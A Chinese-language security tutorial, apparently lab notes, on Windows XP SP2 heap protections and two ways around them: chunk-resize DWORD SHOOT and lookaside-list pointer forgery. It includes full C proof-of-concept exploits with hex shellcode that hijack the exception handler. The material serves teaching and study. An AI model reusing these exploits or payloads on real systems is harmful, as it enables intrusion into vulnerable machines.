重重保护下的堆
[toc]
堆保护机制的原理
堆中的安全校验操作
- **PEB random:**在 Windows XP SP2 之后不再使用固定的 PEB 基址 0x7ffdf000,而是使用具有一定随机性的 PEB 基址。Matt C onover 指出这种变动只是在 0x7FFDF000~0x7FFD4000 之间移动。覆盖 PEB 中函数指针的利用方式请参见 “堆溢出利用(下)”中的实验和“攻击 PEB 中的函数指针” 的相关介绍。
- Safe Unlink: 微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。
对照“堆溢出利用(上)——DWORD SHOOT”中关于双向链表拆卸问题的描述,在 SP2 之前的链表拆卸操作类似于如下代码:
int remove (ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}
SP2 之后在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生DWORD SHOOT:
int safe_remove (ListNode * node)
{
if( (node->blink->flink==node)&&(node->flink->blink==node) )
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 1;
}
else
{
链表指针被破坏,进入异常
return 0;
}
}
- heap cookie: 与栈中的 security cookie 类似,微软在堆中也引入了 cookie,用于检测堆溢出的发生。cookie 被布置在堆首部分原堆块的 segment table 的位置,占 1 个字节大小。
- 元数据加密: 微软在 Windows Vista 及后续版本的操作系统中开始使用该安全措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或运算,在使用这些数据时候需要再进行一次异或运行来还原。
攻击堆中存储的变量
堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的。这种攻击手段与堆保护措施没有什么联系,所以我们在这就不过多讨论了。
利用 chunk 重设大小攻击堆
Safe Unlink 精髓之处在于从 FreeList[n]上拆卸 chunk 时对双向链表的有效性进行验证。但对于插入 chunk 却没有校验。
链表中会发生插入操作的情况: (1)内存释放后 chunk 不再被使用时它会被重新链入链表。 (2)当 chunk 的内存空间大于申请的空间时,剩余的空间会被建立成一个新的 chunk,链入链表中。
从 FreeList[0]上申请空间的过程: (1)将 FreeList[0]上最后一个 chunk 的大小与申请空间的大小进行比较,如果 chunk 的大小大于等于申请的空间, 则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)。 (2)从 FreeList[0]的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后将其从链表中拆卸下来(搜索恰巧合适的堆块进行分配)。 (3)分配好空间后如果 chunk 中还有剩余空间,剩余的空间会被建立成一个新 chunk,并插入到链表中(堆块空间过剩则切分之)。
在这三个步骤中,第一步我们没有任何利用的机会。由于 Safe Unlink 的存在,如果我们去覆盖 chunk 的结构在第二步的时候就会被检测出来,这么看来我们没有任何利用的机会。但是 Safe Unlink 中存在一个让人疑惑的问题,即便 Safe Unlink 检测到 chunk 结构已经被破坏,它还是会允许后续的一些操作执行,例如重设 chunk 的大小。
分析重设 chunk 的具体过程
#include<stdio.h>
#include<windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);
}
推荐使用的环境 | |
---|---|
操作系统 | Windows XP Pro SP2 |
编译环境 | VC++ 6.0 |
build 版本 | release 版本 |
说明:实验过程中的堆地址等信息在您的实验环境中可能会稍有区别。
调试观察内存状态,可以看到堆的起始地址为 0x00390000( EAX 的值), FreeList[0]位于0x00390178,在 0x00390178 处可以看到唯一的 chunk 位于 0x00390688。此时 FreeList[0]头节点和 chunk 如图 15.3.1 所示。
接下来分析将新 chunk 插入链表的过程。在 0x7C931513 的位置下设断点,这是修改 chunk 中下一chunk 指针和上一 chunk 指针的开始。该地址为 ntdll 加载基址+0x11513,如果您的实验环境地址有所变化,请用此方法自行确认。
新 chunk 插入链表的过程:
新chunk 插入过程归纳: 新 chunk->Flink=旧 chunk->Flink 新 chunk->Blink=旧 chunk->Flink->Blink 旧 chunk->Flink->Blink->Flink=新 chunk 旧 chunk->Flink->Blink=新 chunk
插入完成后,观察FreeList[0]的链表结构
考虑下如果将旧 chunk 的 Flink 和 Blink 指针都覆盖了会出现情况呢?例如,我们将旧 chunk 的 Flink 指针覆盖为 0xAAAAAAAA,Blink 指针覆盖为 0xBBBBBBBB,套用我们前面归纳的公式,可以得出如下结果
[0x003906A0]=0xAAAAAAAA
[0x003906A0+4]=[0xAAAAAAAA+4]
[[0xAAAAAAAA+4]]=0x003906A0
[0xAAAAAAAA+4]=0x003906A0
这实际上是一个向任意地址写入固定值的漏洞(DWORD SHOOT),而 Safe Unlink 的验证的不严密性却能执行这个 DWORD SHOOT。如果将内存中的某个函数指针或者 S.E.H 处理函数指针覆盖为 shellcode 的地址,不就可以实现溢出了吗?
注意: 0xAAAAAAAA+4 必须指向可读可写的地址,而 0xAAAAAAAA+4 中存放的地址必须指向可写的地址,否则会出现异常。
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"//覆盖 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99"
"\x8C\x06\x39\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
实验思路
(1)首先 h1 向堆中申请 16 个字节的空间。 (2)由于此时堆刚刚初始化所以空间是从 FreeList[0]中申请的,从 FreeList[0]中拆卸下来的 chunk 在分配好空间后会将剩余的空间新建一个 chunk 并插入到 FreeList[0]中, 所以 h1 后面会跟着一个大空闲块。 (3)当向 h1 中复制超过 16 个字节空间时就会覆盖后面 chunk 的块首。 (4) Chunk 的块首被覆盖后,当 h2 申请空间时,程序就会从被破坏的 chunk 中分配空间,并将剩余空间新建为一个 chunk 并插入到 FreeList[0]中。 (5)通过伪造 h2 申请空间前 chunk 的 Flink 和 Blink,实现在新 chunk 插入 FreeList[0]时将新 chunk 的 Flink 起始地址写入到任意地址。因此通过控制 h2 申请空间前 chunk 的 Flink 和Blink 值,可以将数据写入到异常处理函数指针所在位置。 (6)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode 执行。
推荐使用的环境 | |
---|---|
操作系统 | Windows XP Pro SP2 |
编译环境 | VC++ 6.0 |
build 版本 | release 版本 |
说明:实验过程中的堆地址等信息在您的实验环境中可能会稍有区别。
实验步骤
构造填充字符串
( 1)先用16个 \x90 填充shellcode,然后编译运行调试。待程序在 0x00401050 处中断后观察内存状态。
h1 的数据部分起始地址为 0x00390688,后面 chunk 的 Flink 位于 0x003906A0,因此需要 32 个字节的字符串就可以覆盖掉 h1 后面 chunk 的 Flink 和 Blink(通过分析堆结构也可计算出填充字符串的长度)。现在需要选择一些内存地址来填充 Flink 和 Blink,在这我们不妨用 0x003906EB 分别填充 Flink 和 Blink。
思考: 为什么要使用 0x003906EB?大家看看 0xEB06 眼熟不?对,这是一个短跳转指令,稍后我们会再次解释如何用短跳指令越过垃圾代码,到达 shellcode。
( 2)确定[Flink]和[Flink+4]的值。覆盖程序的默认异常处理函数句柄,让[Flink+4]=0x0012FFE4,而[Flink] 对于我们来说没有什么作用,所以随便填充一些内容即可,当然为了防止在某个没有分析到的地方使用这个地址,在这设置为 0x0039068C。
当 h2 申请空间后就会发生以下事情:
[0x003906B8]=0x003906EB
[0x003906B8+4]=0x0012FFE4
[0x0012FFE4]= 0x003906B8
[0x003906EB +4]=0x003906B8
重新布置 shellcode 验证分析
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"//覆盖原始 chunk 中的 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99"
"\x8C\x06\x39\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
;
编译调试运行,在为 h2分配内存的heapalloc() 中的 0x7C93152F 处,即所有 Flink 和 Blink 调整完成后,观察堆块状态。与我们的分析一致。
布置 shellcode
将谈对话框的机器码放在 0x003906F3 的位置,即伪造的 Flink 和 Blink 后面,并在前面的 0x90 填充区放置短跳转指令来跳过伪造的 Flink 和 Blink,防止它们对程序执行产生影响。
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"//覆盖 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99"
"\x8C\x06\x39\x00\xB4\xFF\x12\x00"//伪造的 Flink 和 Blink
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
将程序中的 shellcode 按照上面的布局设置,去掉 INT 3,重新编译程序。弹出异常对话框,直接点击 “调试”,就能看到 failwest 对话框了。
利用 Lookaside 表进行堆溢出
Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表是没有进行验证的,所以我们可以利用快表进行堆溢出。
从快表中拆卸结点过程: 与前面一样,利用链表拆卸过程中的指针伪造思路。
实验代码
#include<stdio.h>
#include<windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
实验思路
(1)首先申请 3 块 16 字节的空间,然后将其释放到快表中,以便下次申请空间时可以从快表中分配。 (2)通过向 h1 中复制超长字符串来覆盖 h2 块首中下一堆块的指针。 (3)用户申请空间时我们伪造的下一堆块地址就会被赋值给 Lookaside[2]->next,当用户再次申请空间时系统就会将我们伪造的地址作为用户申请空间的起始地址返回给用户。 (4)当我们将这个地址设置为异常处理函数指针所在位置时就可以伪造异常处理函数了。 (5)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode 执行。
推荐使用的环境 | 备 注 |
---|---|
操作系统 | Windows XP Pro SP2 |
编译环境 | VC++ 6.0 |
build 版本 | release 版本 |
说明:实验过程中的堆地址等信息在您的实验环境中可能会稍有区别。
注意:此实验在常态堆下进行,注意不要用调试态。
直接编译运行程序,在弹出的对话框中单击“调试”,进入OD调试。分析程序在执行完两次释放操作后内存状态,记下 h1、 h2 和 h3 的值,这个值大家可以通过每次执行完 HeapAlloc 的 EAX 获得,本次实验中 3 个地址分别为:0x00391E90、 0x00391EA8 和 0x00391EC0。
确定填充字符串的长度和异常处理函数指针所在位置。h1 中数据部分起始地址为 0x00391E90,而 h2 中下一堆块指针位于 0x00391EA8,所以只需要向 h1 中复制超过 28 个字节的字符就可以覆盖掉 h2 中下一堆块。
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x03\00\x03\x00\x44\x01\x08\x00" //填充
"\xE4\xFF\x12\x00" //用默认异常处理函数指针所在位置覆盖
;
将程序运行到覆盖掉块首后第一次申请空间结束时,然后转到快表索引部分附近(0x00390688)。如下图,Lookaside[2] 中的下一块首地址已经被修改为 0x0012FEE4。
继续单步运行到再次申请空间结束时,通过 EAX 可以看到程序申请到的空间起始地址确实为 0x0012FFE4,如下图所示。
只要向这个刚申请的空间里写入 shellcode 的起始地址就能跳转运行 shellcode。为了演示方便,将弹出对话框的机器码放置在 h1 中,这样只需要在 0x0012FFE4 中写入 h1 的起始地址就可以在程序发生异常的时候劫持程序流程了。
shellcode 的布局
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x03\00\x03\x00\x44\x01\x08\x00" //填充
"\xE4\xFF\x12\x00" //用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91 \x0C"
"……"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
按照上面的 shellcode 布局,去掉 INT 3 指令,重新编译运行。弹出异常对话框,直接单击 ”调试“ 就能看到对话框了。